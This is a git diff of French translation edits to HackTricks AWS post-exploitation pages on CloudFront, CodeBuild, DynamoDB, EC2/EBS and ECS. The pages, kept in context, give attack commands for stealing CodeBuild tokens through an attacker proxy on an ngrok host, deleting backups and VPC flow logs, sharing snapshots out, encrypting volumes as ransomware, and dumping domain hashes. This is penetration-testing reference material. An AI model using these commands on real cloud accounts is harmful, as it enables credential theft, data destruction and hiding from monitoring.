diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
index 7366d190c..7bfede9ce 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
 
 ### Man-in-the-Middle
 
-Ce [**post de blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propose quelques scénarios différents où un **Lambda** pourrait être ajouté (ou modifié s'il est déjà utilisé) dans une **communication via CloudFront** dans le but de **voler** des informations utilisateur (comme le **cookie** de session) et **modifier** la **réponse** (en injectant un script JS malveillant).
+Ce [**post de blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propose quelques scénarios différents où une **Lambda** pourrait être ajoutée (ou modifiée si elle est déjà utilisée) dans une **communication via CloudFront** dans le but de **voler** des informations utilisateur (comme le **cookie** de session) et **modifier** la **réponse** (en injectant un script JS malveillant).
 
 #### scénario 1 : MitM où CloudFront est configuré pour accéder à un HTML d'un bucket
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
index 33b79f447..0a9fe418b 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
 
 ### Vérifier les Secrets
 
-Si des identifiants ont été définis dans Codebuild pour se connecter à Github, Gitlab ou Bitbucket sous forme de jetons personnels, mots de passe ou accès par jeton OAuth, ces **identifiants vont être stockés comme des secrets dans le gestionnaire de secrets**.\
+Si des identifiants ont été définis dans Codebuild pour se connecter à Github, Gitlab ou Bitbucket sous forme de jetons personnels, mots de passe ou accès par jeton OAuth, ces **identifiants vont être stockés comme secrets dans le gestionnaire de secrets**.\
 Par conséquent, si vous avez accès pour lire le gestionnaire de secrets, vous pourrez obtenir ces secrets et pivoter vers la plateforme connectée.
 
 {{#ref}}
@@ -38,7 +38,7 @@ Et **changer les commandes Buildspec pour exfiltrer chaque dépôt**.
 > Cependant, cette **tâche est répétitive et fastidieuse** et si un jeton github a été configuré avec **des permissions d'écriture**, un attaquant **ne pourra pas (ab)user de ces permissions** car il n'a pas accès au jeton.\
 > Ou peut-être ? Consultez la section suivante
 
-### Divulgation des Jetons d'Accès depuis AWS CodeBuild
+### Fuite des Jetons d'Accès depuis AWS CodeBuild
 
 Vous pouvez divulguer l'accès accordé dans CodeBuild à des plateformes comme Github. Vérifiez si un accès à des plateformes externes a été accordé avec :
 ```bash
@@ -54,7 +54,7 @@ Un attaquant pourrait supprimer un projet CodeBuild entier, entraînant la perte
 ```bash
 aws codebuild delete-project --name 
 ```
-**Impact potentiel** : Perte de configuration de projet et interruption de service pour les applications utilisant le projet supprimé.
+**Impact potentiel** : Perte de la configuration du projet et interruption de service pour les applications utilisant le projet supprimé.
 
 ### `codebuild:TagResource` , `codebuild:UntagResource`
 
@@ -67,10 +67,10 @@ aws codebuild untag-resource --resource-arn  --tag-keys 
 
 ### `codebuild:DeleteSourceCredentials`
 
-Un attaquant pourrait supprimer les identifiants source pour un dépôt Git, impactant le fonctionnement normal des applications s'appuyant sur le dépôt.
+Un attaquant pourrait supprimer les informations d'identification source pour un dépôt Git, impactant le fonctionnement normal des applications s'appuyant sur le dépôt.
 ```sql
 aws codebuild delete-source-credentials --arn 
 ```
-**Impact potentiel** : Disruption du fonctionnement normal des applications s'appuyant sur le dépôt affecté en raison de la suppression des identifiants source.
+**Impact potentiel** : Perturbation du fonctionnement normal des applications s'appuyant sur le dépôt affecté en raison de la suppression des identifiants source.
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index 53e5a9f77..600d70426 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -10,24 +10,24 @@ aws codebuild list-source-credentials
 ```
 ### Via Docker Image
 
-Si vous constatez que l'authentification, par exemple à Github, est configurée dans le compte, vous pouvez **exfiltrer** cet **accès** (**GH token ou OAuth token**) en faisant en sorte que Codebuild **utilise une image docker spécifique** pour exécuter la construction du projet.
+Si vous constatez que l'authentification à, par exemple, Github est configurée dans le compte, vous pouvez **exfiltrer** cet **accès** (**GH token ou OAuth token**) en faisant en sorte que Codebuild **utilise une image docker spécifique** pour exécuter la construction du projet.
 
 À cette fin, vous pourriez **créer un nouveau projet Codebuild** ou modifier l'**environnement** d'un projet existant pour définir l'**image Docker**.
 
 L'image Docker que vous pourriez utiliser est [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). C'est une image Docker très basique qui définira les **variables d'environnement `https_proxy`**, **`http_proxy`** et **`SSL_CERT_FILE`**. Cela vous permettra d'intercepter la plupart du trafic de l'hôte indiqué dans **`https_proxy`** et **`http_proxy`** et de faire confiance au certificat SSL indiqué dans **`SSL_CERT_FILE`**.
 
 1. **Créer et télécharger votre propre image Docker MitM**
-- Suivez les instructions du dépôt pour définir votre adresse IP de proxy et configurer votre certificat SSL et **construire l'image docker**.
-- **NE PAS CONFIGURER `http_proxy`** pour ne pas intercepter les requêtes vers le point de terminaison des métadonnées.
+- Suivez les instructions du dépôt pour définir votre adresse IP de proxy et définir votre certificat SSL et **construire l'image docker**.
+- **NE PAS DÉFINIR `http_proxy`** pour ne pas intercepter les requêtes vers le point de terminaison des métadonnées.
 - Vous pourriez utiliser **`ngrok`** comme `ngrok tcp 4444` pour définir le proxy vers votre hôte.
 - Une fois que vous avez construit l'image Docker, **téléchargez-la dans un dépôt public** (Dockerhub, ECR...)
 2. **Définir l'environnement**
 - Créez un **nouveau projet Codebuild** ou **modifiez** l'environnement d'un projet existant.
-- Configurez le projet pour utiliser l'**image Docker précédemment générée**.
+- Définissez le projet pour utiliser l'**image Docker précédemment générée**.
 
 

 
-3. **Configurer le proxy MitM sur votre hôte**
+3. **Définir le proxy MitM sur votre hôte**
 
 - Comme indiqué dans le **dépôt Github**, vous pourriez utiliser quelque chose comme :
 ```bash
@@ -73,10 +73,10 @@ aws codebuild start-build --project-name my-project2
 ```
 ### Via insecureSSL
 
-**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
-Activer cela permet à Codebuild de se connecter au dépôt **sans vérifier le certificat** offert par la plateforme.
+Les projets **Codebuild** ont un paramètre appelé **`insecureSsl`** qui est caché dans le web et que vous ne pouvez changer que depuis l'API.\
+L'activation de cela permet à Codebuild de se connecter au dépôt **sans vérifier le certificat** offert par la plateforme.
 
-- First you need to enumerate the current configuration with something like:
+- Tout d'abord, vous devez énumérer la configuration actuelle avec quelque chose comme :
 ```bash
 aws codebuild batch-get-projects --name 
 ```
@@ -115,7 +115,7 @@ aws codebuild update-project --name  \
 ]
 }'
 ```
-- Ensuite, exécutez l'exemple de base de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sur le port indiqué par les variables de proxy (http_proxy et https_proxy)
+- Ensuite, exécutez l'exemple de base depuis [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) dans le port indiqué par les variables de proxy (http_proxy et https_proxy)
 ```python
 from mitm import MITM, protocol, middleware, crypto
 
@@ -136,7 +136,7 @@ mitm.run()
 
 > [!TIP] > **Cette vulnérabilité a été corrigée par AWS à un moment donné de la semaine du 20 février 2023 (je pense que c'était vendredi). Donc un attaquant ne peut plus en abuser :)**
 
-Un attaquant avec **des permissions élevées dans un CodeBuild pourrait fuir le token Github/Bitbucket** configuré ou si les permissions étaient configurées via OAuth, le **token OAuth temporaire utilisé pour accéder au code**.
+Un attaquant avec **des permissions élevées sur un CodeBuild pourrait divulguer le token Github/Bitbucket** configuré ou si les permissions étaient configurées via OAuth, le **token OAuth temporaire utilisé pour accéder au code**.
 
 - Un attaquant pourrait ajouter les variables d'environnement **http_proxy** et **https_proxy** au projet CodeBuild pointant vers sa machine (par exemple `http://5.tcp.eu.ngrok.io:14972`).
 
@@ -158,7 +158,7 @@ certificate_authority = crypto.CertificateAuthority()
 )
 mitm.run()
 ```
-- Ensuite, cliquez sur **Build the project** ou démarrez la build depuis la ligne de commande :
+- Ensuite, cliquez sur **Build the project** ou démarrez la construction depuis la ligne de commande :
 ```sh
 aws codebuild start-build --project-name 
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
index 61a8d8135..1748c4b68 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
@@ -2,7 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Gestionnaire de Cycle de Vie des Données (DLM)
+## Data Lifecycle Manger (DLM)
 
 ### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
 
@@ -12,7 +12,7 @@ Tout d'abord, on utilisera une commande pour rassembler des informations sur les
 
 `aws ec2 describe-volumes`
 
-Deuxièmement, on créera la politique de cycle de vie. Cette commande utilise l'API DLM pour configurer une politique de cycle de vie qui prend automatiquement des snapshots quotidiens des volumes spécifiés à un moment désigné. Elle applique également des balises spécifiques aux snapshots et copie les balises des volumes vers les snapshots. Le fichier policyDetails.json inclut les spécificités de la politique de cycle de vie, telles que les balises cibles, le calendrier, l'ARN de la clé KMS optionnelle pour le chiffrement, et le compte cible pour le partage de snapshots, qui sera enregistré dans les journaux CloudTrail de la victime.
+Deuxièmement, on créera la politique de cycle de vie. Cette commande utilise l'API DLM pour configurer une politique de cycle de vie qui prend automatiquement des snapshots quotidiens des volumes spécifiés à un moment désigné. Elle applique également des tags spécifiques aux snapshots et copie les tags des volumes vers les snapshots. Le fichier policyDetails.json inclut les spécificités de la politique de cycle de vie, telles que les tags cibles, le calendrier, l'ARN de la clé KMS optionnelle pour le chiffrement, et le compte cible pour le partage de snapshots, qui sera enregistré dans les journaux CloudTrail de la victime.
 ```bash
 aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
index efb571765..1b1802989 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - DynamoDB Post Exploitation
+# AWS - Post Exploitation de DynamoDB
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -47,7 +47,7 @@ aws dynamodb batch-get-item \
 
 ### `dynamodb:GetItem`
 
-**Semblable aux autorisations précédentes** celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table donnée la clé primaire de l'entrée à récupérer :
+**Semblable aux autorisations précédentes**, celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table donnée la clé primaire de l'entrée à récupérer :
 ```json
 aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 
@@ -124,7 +124,7 @@ Vous pouvez utiliser cette autorisation pour **extraire facilement l'ensemble de
 aws dynamodb execute-statement \
 --statement "SELECT * FROM ProductCatalog"
 ```
-Cette autorisation permet également d'exécuter `batch-execute-statement` comme :
+Cette permission permet également d'exécuter `batch-execute-statement` comme :
 ```bash
 aws dynamodb batch-execute-statement \
 --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
@@ -159,7 +159,7 @@ aws dynamodb update-continuous-backups \
 
 ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
 
-Avec ces autorisations, un attaquant serait en mesure de **créer une nouvelle table à partir d'une sauvegarde** (ou même de créer une sauvegarde pour ensuite la restaurer dans une autre table). Ensuite, avec les autorisations nécessaires, il pourrait vérifier **des informations** provenant des sauvegardes qui **pourraient ne plus être dans la table de production**.
+Avec ces autorisations, un attaquant pourrait **créer une nouvelle table à partir d'une sauvegarde** (ou même créer une sauvegarde pour ensuite la restaurer dans une autre table). Ensuite, avec les autorisations nécessaires, il pourrait vérifier **des informations** provenant des sauvegardes qui **pourraient ne plus être dans la table de production**.
 ```bash
 aws dynamodb restore-table-from-backup \
 --backup-arn  \
@@ -170,7 +170,7 @@ aws dynamodb restore-table-from-backup \
 
 ### `dynamodb:PutItem`
 
-Cette permission permet aux utilisateurs d'ajouter un **nouvel élément à la table ou de remplacer un élément existant** par un nouvel élément. Si un élément avec la même clé primaire existe déjà, **l'élément entier sera remplacé** par le nouvel élément. Si la clé primaire n'existe pas, un nouvel élément avec la clé primaire spécifiée sera **créé**.
+Cette autorisation permet aux utilisateurs d'ajouter un **nouvel élément à la table ou de remplacer un élément existant** par un nouvel élément. Si un élément avec la même clé primaire existe déjà, **l'élément entier sera remplacé** par le nouvel élément. Si la clé primaire n'existe pas, un nouvel élément avec la clé primaire spécifiée sera **créé**.
 
 {{#tabs }}
 {{#tab name="Exemple XSS" }}
@@ -206,7 +206,7 @@ aws dynamodb put-item \
 
 ### `dynamodb:UpdateItem`
 
-Cette permission permet aux utilisateurs de **modifier les attributs existants d'un élément ou d'ajouter de nouveaux attributs à un élément**. Elle ne **remplace pas** l'élément entier ; elle met seulement à jour les attributs spécifiés. Si la clé primaire n'existe pas dans la table, l'opération **créera un nouvel élément** avec la clé primaire spécifiée et définira les attributs spécifiés dans l'expression de mise à jour.
+Cette permission permet aux utilisateurs de **modifier les attributs existants d'un élément ou d'ajouter de nouveaux attributs à un élément**. Elle **ne remplace pas** l'élément entier ; elle met seulement à jour les attributs spécifiés. Si la clé primaire n'existe pas dans la table, l'opération **créera un nouvel élément** avec la clé primaire spécifiée et définira les attributs spécifiés dans l'expression de mise à jour.
 
 {{#tabs }}
 {{#tab name="Exemple XSS" }}
@@ -256,18 +256,18 @@ aws dynamodb delete-table \
 
 ### `dynamodb:DeleteBackup`
 
-Un attaquant disposant de cette autorisation peut **supprimer une sauvegarde DynamoDB, ce qui peut entraîner une perte de données en cas de scénario de récupération après sinistre**.
+Un attaquant avec cette permission peut **supprimer une sauvegarde DynamoDB, ce qui peut entraîner une perte de données en cas de scénario de récupération après sinistre**.
 ```bash
 aws dynamodb delete-backup \
 --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \
 --region 
 ```
-**Impact potentiel** : Perte de données et incapacité à récupérer à partir d'une sauvegarde lors d'un scénario de récupération après sinistre.
+**Impact potentiel** : Perte de données et incapacité à récupérer à partir d'une sauvegarde lors d'un scénario de reprise après sinistre.
 
 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
 
 > [!NOTE]
-> TODO: Tester si cela fonctionne réellement
+> TODO : Tester si cela fonctionne réellement
 
 Un attaquant avec ces autorisations peut **activer un flux sur une table DynamoDB, mettre à jour la table pour commencer à diffuser des modifications, puis accéder au flux pour surveiller les modifications de la table en temps réel**. Cela permet à l'attaquant de surveiller et d'exfiltrer les modifications de données, ce qui peut entraîner une fuite de données.
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index 719be5437..f47b89f90 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -85,7 +85,7 @@ Il est possible de faire fonctionner une instance EC2 et de l'enregistrer pour 
 
 Pour [**plus d'informations, consultez ceci**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
 
-### Supprimer les journaux de flux VPC
+### Remove VPC flow logs
 ```bash
 aws ec2 delete-flow-logs --flow-log-ids  --region 
 ```
@@ -120,7 +120,7 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
 ```shell
 kubectl get pods --insecure-skip-tls-verify
 ```
-Notez que les connexions SSL échoueront à moins que vous ne définissiez le drapeau `--insecure-skip-tls-verify` (ou son équivalent dans les outils d'audit K8s). Étant donné que le trafic est tunnelé à travers le tunnel SSM sécurisé d'AWS, vous êtes à l'abri de tout type d'attaques MitM.
+Notez que les connexions SSL échoueront à moins que vous ne définissiez le drapeau `--insecure-skip-tls-verify` (ou son équivalent dans les outils d'audit K8s). Étant donné que le trafic est tunnelé à travers le tunnel sécurisé AWS SSM, vous êtes à l'abri de tout type d'attaques MitM.
 
 Enfin, cette technique n'est pas spécifique à l'attaque des clusters EKS privés. Vous pouvez définir des domaines et des ports arbitraires pour pivoter vers tout autre service AWS ou une application personnalisée.
 
@@ -128,9 +128,9 @@ Enfin, cette technique n'est pas spécifique à l'attaque des clusters EKS priv
 ```bash
 aws ec2 modify-image-attribute --image-id  --launch-permission "Add=[{UserId=}]" --region 
 ```
-### Rechercher des informations sensibles dans les AMIs publiques et privées
+### Rechercher des informations sensibles dans des AMIs publiques et privées
 
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel est un outil conçu pour **rechercher des informations sensibles dans des Amazon Machine Images (AMIs) publiques ou privées**. Il automatise le processus de lancement d'instances à partir des AMIs cibles, de montage de leurs volumes et de recherche de secrets ou de données sensibles potentielles.
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel) : CloudShovel est un outil conçu pour **rechercher des informations sensibles dans des Amazon Machine Images (AMIs) publiques ou privées**. Il automatise le processus de lancement d'instances à partir d'AMIs cibles, de montage de leurs volumes et de recherche de secrets ou de données sensibles potentielles.
 
 ### Partager un instantané EBS
 ```bash
@@ -138,7 +138,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id  --create-volume-pe
 ```
 ### EBS Ransomware PoC
 
-Une preuve de concept similaire à la démonstration de ransomware présentée dans les notes de post-exploitation S3. KMS devrait être renommé en RMS pour Ransomware Management Service avec la facilité d'utilisation pour chiffrer divers services AWS.
+Une preuve de concept similaire à la démonstration de Ransomware présentée dans les notes de post-exploitation S3. KMS devrait être renommé en RMS pour Ransomware Management Service en raison de la facilité d'utilisation pour chiffrer divers services AWS.
 
 Tout d'abord, depuis un compte AWS 'attaquant', créez une clé gérée par le client dans KMS. Pour cet exemple, nous allons simplement laisser AWS gérer les données de la clé pour moi, mais dans un scénario réaliste, un acteur malveillant conserverait les données de la clé en dehors du contrôle d'AWS. Modifiez la politique de clé pour permettre à tout Principal de compte AWS d'utiliser la clé. Pour cette politique de clé, le nom du compte était 'AttackSim' et la règle de politique permettant tout accès s'appelle 'Outside Encryption'
 ```
@@ -329,7 +329,7 @@ Attendez un moment que la nouvelle politique de clé se propage. Ensuite, retour
 
 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
 
-Mais lorsque vous essayez de redémarrer l'instance EC2 avec le volume EBS chiffré, cela échouera et passera de l'état 'en attente' à l'état 'arrêté' indéfiniment, car le volume EBS attaché ne peut pas être déchiffré avec la clé puisque la politique de clé ne le permet plus.
+Mais lorsque vous essayez réellement de redémarrer l'instance EC2 avec le volume EBS chiffré, cela échouera et passera de l'état 'en attente' à l'état 'arrêté' indéfiniment, car le volume EBS attaché ne peut pas être déchiffré avec la clé puisque la politique de clé ne le permet plus.
 
 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
index 8dcb50d8e..45936c0e4 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
@@ -46,7 +46,7 @@ dsnap --region us-east-2 get snap-027da41be451109da
 # Delete the snapshot after downloading
 aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
 ```
-Pour plus d'informations sur cette technique, consultez la recherche originale sur [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)
+Pour plus d'informations sur cette technique, consultez la recherche originale dans [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)
 
 Vous pouvez le faire avec Pacu en utilisant le module [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots)
 
@@ -122,7 +122,7 @@ ls /mnt
 ```
 ## Shadow Copy
 
-Tout utilisateur AWS possédant la permission **`EC2:CreateSnapshot`** peut voler les hachages de tous les utilisateurs du domaine en créant un **snapshot du contrôleur de domaine**, en le montant sur une instance qu'il contrôle et en **exportant le fichier NTDS.dit et le registre SYSTEM** pour une utilisation avec le projet secretsdump d'Impacket.
+Tout utilisateur AWS possédant la permission **`EC2:CreateSnapshot`** peut voler les hachages de tous les utilisateurs de domaine en créant un **snapshot du contrôleur de domaine**, en le montant sur une instance qu'il contrôle et en **exportant le fichier NTDS.dit et le registre SYSTEM** pour une utilisation avec le projet secretsdump d'Impacket.
 
 Vous pouvez utiliser cet outil pour automatiser l'attaque : [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ou vous pourriez utiliser l'une des techniques précédentes après avoir créé un snapshot.
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
index daf265f54..1ee474a4e 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
@@ -1,12 +1,12 @@
-# AWS - Malicious VPC Mirror
+# AWS - Miroir VPC Malveillant
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
 **Vérifiez** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **pour plus de détails sur l'attaque !**
 
-L'inspection passive du réseau dans un environnement cloud a été **difficile**, nécessitant des changements de configuration majeurs pour surveiller le trafic réseau. Cependant, une nouvelle fonctionnalité appelée “**VPC Traffic Mirroring**” a été introduite par AWS pour simplifier ce processus. Avec le VPC Traffic Mirroring, le trafic réseau au sein des VPC peut être **dupliqué** sans installer de logiciel sur les instances elles-mêmes. Ce trafic dupliqué peut être envoyé à un système de détection d'intrusion réseau (IDS) pour **analyse**.
+L'inspection passive du réseau dans un environnement cloud a été **difficile**, nécessitant des changements de configuration majeurs pour surveiller le trafic réseau. Cependant, une nouvelle fonctionnalité appelée “**Miroir de Trafic VPC**” a été introduite par AWS pour simplifier ce processus. Avec le Miroir de Trafic VPC, le trafic réseau au sein des VPC peut être **dupliqué** sans installer de logiciel sur les instances elles-mêmes. Ce trafic dupliqué peut être envoyé à un système de détection d'intrusion réseau (IDS) pour **analyse**.
 
-Pour répondre au besoin de **déploiement automatisé** de l'infrastructure nécessaire pour le mirroring et l'exfiltration du trafic VPC, nous avons développé un script de preuve de concept appelé “**malmirror**”. Ce script peut être utilisé avec des **identifiants AWS compromis** pour configurer le mirroring pour toutes les instances EC2 prises en charge dans un VPC cible. Il est important de noter que le VPC Traffic Mirroring n'est pris en charge que par les instances EC2 alimentées par le système AWS Nitro, et la cible de miroir VPC doit être dans le même VPC que les hôtes miroités.
+Pour répondre au besoin de **déploiement automatisé** de l'infrastructure nécessaire pour le mirroring et l'exfiltration du trafic VPC, nous avons développé un script de preuve de concept appelé “**malmirror**”. Ce script peut être utilisé avec des **identifiants AWS compromis** pour configurer le mirroring pour toutes les instances EC2 prises en charge dans un VPC cible. Il est important de noter que le Miroir de Trafic VPC n'est pris en charge que par les instances EC2 alimentées par le système AWS Nitro, et la cible du miroir VPC doit être dans le même VPC que les hôtes miroités.
 
 L'**impact** du mirroring de trafic VPC malveillant peut être significatif, car il permet aux attaquants d'accéder à des **informations sensibles** transmises au sein des VPC. La **probabilité** d'un tel mirroring malveillant est élevée, compte tenu de la présence de **trafic en clair** circulant à travers les VPC. De nombreuses entreprises utilisent des protocoles en clair au sein de leurs réseaux internes pour des **raisons de performance**, supposant que les attaques traditionnelles de type homme du milieu ne sont pas possibles.
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
index f636218ee..0da28d75d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
 
 ### Rôles IAM de l'hôte
 
-Dans ECS, un **rôle IAM peut être attribué à la tâche** s'exécutant à l'intérieur du conteneur. **Si** la tâche est exécutée à l'intérieur d'une **instance EC2**, l'**instance EC2** aura **un autre rôle IAM** qui lui est attaché.\
+Dans ECS, un **rôle IAM peut être attribué à la tâche** s'exécutant à l'intérieur du conteneur. **Si** la tâche s'exécute à l'intérieur d'une **instance EC2**, l'**instance EC2** aura **un autre rôle IAM** qui lui est attaché.\
 Ce qui signifie que si vous parvenez à **compromettre** une instance ECS, vous pouvez potentiellement **obtenir le rôle IAM associé à l'ECR et à l'instance EC2**. Pour plus d'informations sur la façon d'obtenir ces identifiants, consultez :
 
 {{#ref}}
@@ -24,11 +24,11 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
 
 ### Privesc vers le nœud pour voler les identifiants et secrets d'autres conteneurs
 
-De plus, EC2 utilise Docker pour exécuter les tâches EC, donc si vous pouvez échapper au nœud ou **accéder au socket Docker**, vous pouvez **vérifier** quels **autres conteneurs** sont en cours d'exécution, et même **y entrer** et **voler leurs rôles IAM** attachés.
+De plus, EC2 utilise Docker pour exécuter les tâches ECs, donc si vous pouvez échapper au nœud ou **accéder au socket Docker**, vous pouvez **vérifier** quels **autres conteneurs** sont en cours d'exécution, et même **y entrer** et **voler leurs rôles IAM** attachés.
 
 #### Faire fonctionner des conteneurs sur l'hôte actuel
 
-En outre, le **rôle de l'instance EC2** aura généralement suffisamment de **permissions** pour **mettre à jour l'état de l'instance de conteneur** des instances EC2 utilisées comme nœuds à l'intérieur du cluster. Un attaquant pourrait modifier l'**état d'une instance en DRAINING**, puis ECS **supprimera toutes les tâches de celle-ci** et celles exécutées en tant que **REPLICA** seront **exécutées dans une autre instance,** potentiellement à l'intérieur de **l'instance de l'attaquant** afin qu'il puisse **voler leurs rôles IAM** et des informations sensibles potentielles à l'intérieur du conteneur.
+En outre, le **rôle de l'instance EC2** aura généralement suffisamment de **permissions** pour **mettre à jour l'état de l'instance de conteneur** des instances EC2 utilisées comme nœuds à l'intérieur du cluster. Un attaquant pourrait modifier l'**état d'une instance en DRAINING**, puis ECS **supprimera toutes les tâches de celle-ci** et celles exécutées en tant que **REPLICA** seront **exécutées dans une autre instance,** potentiellement à l'intérieur de **l'instance de l'attaquant**, lui permettant de **voler leurs rôles IAM** et des informations sensibles potentielles à l'intérieur du conteneur.
 ```bash
 aws ecs update-container-instances-state \
 --cluster  --status DRAINING --container-instances 
@@ -52,6 +52,6 @@ aws ecs submit-attachment-state-changes ...
 ```
 ### Voler des informations sensibles des conteneurs ECR
 
